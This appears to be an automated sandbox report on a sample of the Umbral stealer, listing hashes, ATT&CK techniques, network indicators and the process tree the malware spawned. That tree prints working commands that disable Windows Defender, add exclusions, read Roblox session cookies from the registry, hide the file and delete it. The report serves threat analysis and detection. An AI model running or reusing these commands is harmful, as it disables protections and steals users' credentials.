umbral | 9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
26-08-2024 20:24

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General

Target

9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe
Size

234KB
MD5

18a5e3fd22133b48de0ac3ae4e41c997
SHA1

6664c80cf7567077385cc5f82aba04d525a7a8a9
SHA256

9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53
SHA512

c359ef3b9b5736b63e8906f6d35e6fb9b6f286f4fd382f5f445f2a5c9e38673a04f90215349c417c19e67cd9e123925521084167ac2dce0af842d18eb3c070b9
SSDEEP

6144:zloZM+rIkd8g+EtXHkv/iD4VsEnYe5xysXKYZd85Wn+l78e1mUDiM:xoZtL+EP8mEnYe5xysXKYZd85zJiM

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1676-1-0x0000000000980000-0x00000000009C0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2848	powershell.exe
1700	powershell.exe
2604	powershell.exe
1960	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe

Deletes itself 1 IoCs

pid	Process
2700	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2700	cmd.exe
1664	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2496	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1664	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe
2848	powershell.exe
1700	powershell.exe
2604	powershell.exe
2040	powershell.exe
1960	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe
Token: SeIncreaseQuotaPrivilege	2896	wmic.exe
Token: SeSecurityPrivilege	2896	wmic.exe
Token: SeTakeOwnershipPrivilege	2896	wmic.exe
Token: SeLoadDriverPrivilege	2896	wmic.exe
Token: SeSystemProfilePrivilege	2896	wmic.exe
Token: SeSystemtimePrivilege	2896	wmic.exe
Token: SeProfSingleProcessPrivilege	2896	wmic.exe
Token: SeIncBasePriorityPrivilege	2896	wmic.exe
Token: SeCreatePagefilePrivilege	2896	wmic.exe
Token: SeBackupPrivilege	2896	wmic.exe
Token: SeRestorePrivilege	2896	wmic.exe
Token: SeShutdownPrivilege	2896	wmic.exe
Token: SeDebugPrivilege	2896	wmic.exe
Token: SeSystemEnvironmentPrivilege	2896	wmic.exe
Token: SeRemoteShutdownPrivilege	2896	wmic.exe
Token: SeUndockPrivilege	2896	wmic.exe
Token: SeManageVolumePrivilege	2896	wmic.exe
Token: 33	2896	wmic.exe
Token: 34	2896	wmic.exe
Token: 35	2896	wmic.exe
Token: SeIncreaseQuotaPrivilege	2896	wmic.exe
Token: SeSecurityPrivilege	2896	wmic.exe
Token: SeTakeOwnershipPrivilege	2896	wmic.exe
Token: SeLoadDriverPrivilege	2896	wmic.exe
Token: SeSystemProfilePrivilege	2896	wmic.exe
Token: SeSystemtimePrivilege	2896	wmic.exe
Token: SeProfSingleProcessPrivilege	2896	wmic.exe
Token: SeIncBasePriorityPrivilege	2896	wmic.exe
Token: SeCreatePagefilePrivilege	2896	wmic.exe
Token: SeBackupPrivilege	2896	wmic.exe
Token: SeRestorePrivilege	2896	wmic.exe
Token: SeShutdownPrivilege	2896	wmic.exe
Token: SeDebugPrivilege	2896	wmic.exe
Token: SeSystemEnvironmentPrivilege	2896	wmic.exe
Token: SeRemoteShutdownPrivilege	2896	wmic.exe
Token: SeUndockPrivilege	2896	wmic.exe
Token: SeManageVolumePrivilege	2896	wmic.exe
Token: 33	2896	wmic.exe
Token: 34	2896	wmic.exe
Token: 35	2896	wmic.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeIncreaseQuotaPrivilege	2592	wmic.exe
Token: SeSecurityPrivilege	2592	wmic.exe
Token: SeTakeOwnershipPrivilege	2592	wmic.exe
Token: SeLoadDriverPrivilege	2592	wmic.exe
Token: SeSystemProfilePrivilege	2592	wmic.exe
Token: SeSystemtimePrivilege	2592	wmic.exe
Token: SeProfSingleProcessPrivilege	2592	wmic.exe
Token: SeIncBasePriorityPrivilege	2592	wmic.exe
Token: SeCreatePagefilePrivilege	2592	wmic.exe
Token: SeBackupPrivilege	2592	wmic.exe
Token: SeRestorePrivilege	2592	wmic.exe
Token: SeShutdownPrivilege	2592	wmic.exe
Token: SeDebugPrivilege	2592	wmic.exe
Token: SeSystemEnvironmentPrivilege	2592	wmic.exe
Token: SeRemoteShutdownPrivilege	2592	wmic.exe
Token: SeUndockPrivilege	2592	wmic.exe
Token: SeManageVolumePrivilege	2592	wmic.exe
Token: 33	2592	wmic.exe
Token: 34	2592	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 2896	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	30
PID 1676 wrote to memory of 2896	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	30
PID 1676 wrote to memory of 2896	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	30
PID 1676 wrote to memory of 2752	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	33
PID 1676 wrote to memory of 2752	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	33
PID 1676 wrote to memory of 2752	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	33
PID 1676 wrote to memory of 2848	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	35
PID 1676 wrote to memory of 2848	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	35
PID 1676 wrote to memory of 2848	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	35
PID 1676 wrote to memory of 1700	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	37
PID 1676 wrote to memory of 1700	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	37
PID 1676 wrote to memory of 1700	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	37
PID 1676 wrote to memory of 2604	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	39
PID 1676 wrote to memory of 2604	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	39
PID 1676 wrote to memory of 2604	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	39
PID 1676 wrote to memory of 2040	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	41
PID 1676 wrote to memory of 2040	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	41
PID 1676 wrote to memory of 2040	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	41
PID 1676 wrote to memory of 2592	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	43
PID 1676 wrote to memory of 2592	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	43
PID 1676 wrote to memory of 2592	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	43
PID 1676 wrote to memory of 2952	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	45
PID 1676 wrote to memory of 2952	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	45
PID 1676 wrote to memory of 2952	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	45
PID 1676 wrote to memory of 2968	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	47
PID 1676 wrote to memory of 2968	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	47
PID 1676 wrote to memory of 2968	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	47
PID 1676 wrote to memory of 1960	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	49
PID 1676 wrote to memory of 1960	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	49
PID 1676 wrote to memory of 1960	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	49
PID 1676 wrote to memory of 2496	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	51
PID 1676 wrote to memory of 2496	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	51
PID 1676 wrote to memory of 2496	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	51
PID 1676 wrote to memory of 2700	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	53
PID 1676 wrote to memory of 2700	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	53
PID 1676 wrote to memory of 2700	1676	9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe	53
PID 2700 wrote to memory of 1664	2700	cmd.exe	55
PID 2700 wrote to memory of 1664	2700	cmd.exe	55
PID 2700 wrote to memory of 1664	2700	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2752	attrib.exe

C:\Users\Admin\AppData\Local\Temp\9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe
"C:\Users\Admin\AppData\Local\Temp\9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe"
  2⤵
  - Views/modifies file attributes
  PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2952
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2496
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\9fa6035e3150c3e57724bd3f4f67647ed925c9c9447f00b3df7715d03b6ebf53.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
968c7ec7814c90e446061a3d847d7056

SHA1
cabbb5a988f620fe29b2ce450ddf3084bcca154a

SHA256
2f8a2e503e70e25261a7916751a9ab096d516be96a4699aba450e397d9b82993

SHA512
0a738ed9f73119434fe11c8ed0eb22b52e9d9f5f491e7f2eb7f8d94d5d36adb3266df968f74977ebbe9cf34f4b0cac2096a530942ae9cf87be18418a348c6840

Download Submit
memory/1676-0-0x000007FEF67B3000-0x000007FEF67B4000-memory.dmp

Filesize
4KB

Download
memory/1676-1-0x0000000000980000-0x00000000009C0000-memory.dmp

Filesize
256KB

Download
memory/1676-2-0x000007FEF67B0000-0x000007FEF719C000-memory.dmp

Filesize
9.9MB

Download
memory/1676-46-0x000007FEF67B0000-0x000007FEF719C000-memory.dmp

Filesize
9.9MB

Download
memory/1700-14-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/1700-15-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/1960-42-0x0000000000560000-0x0000000000568000-memory.dmp

Filesize
32KB

Download
memory/2848-7-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2848-8-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download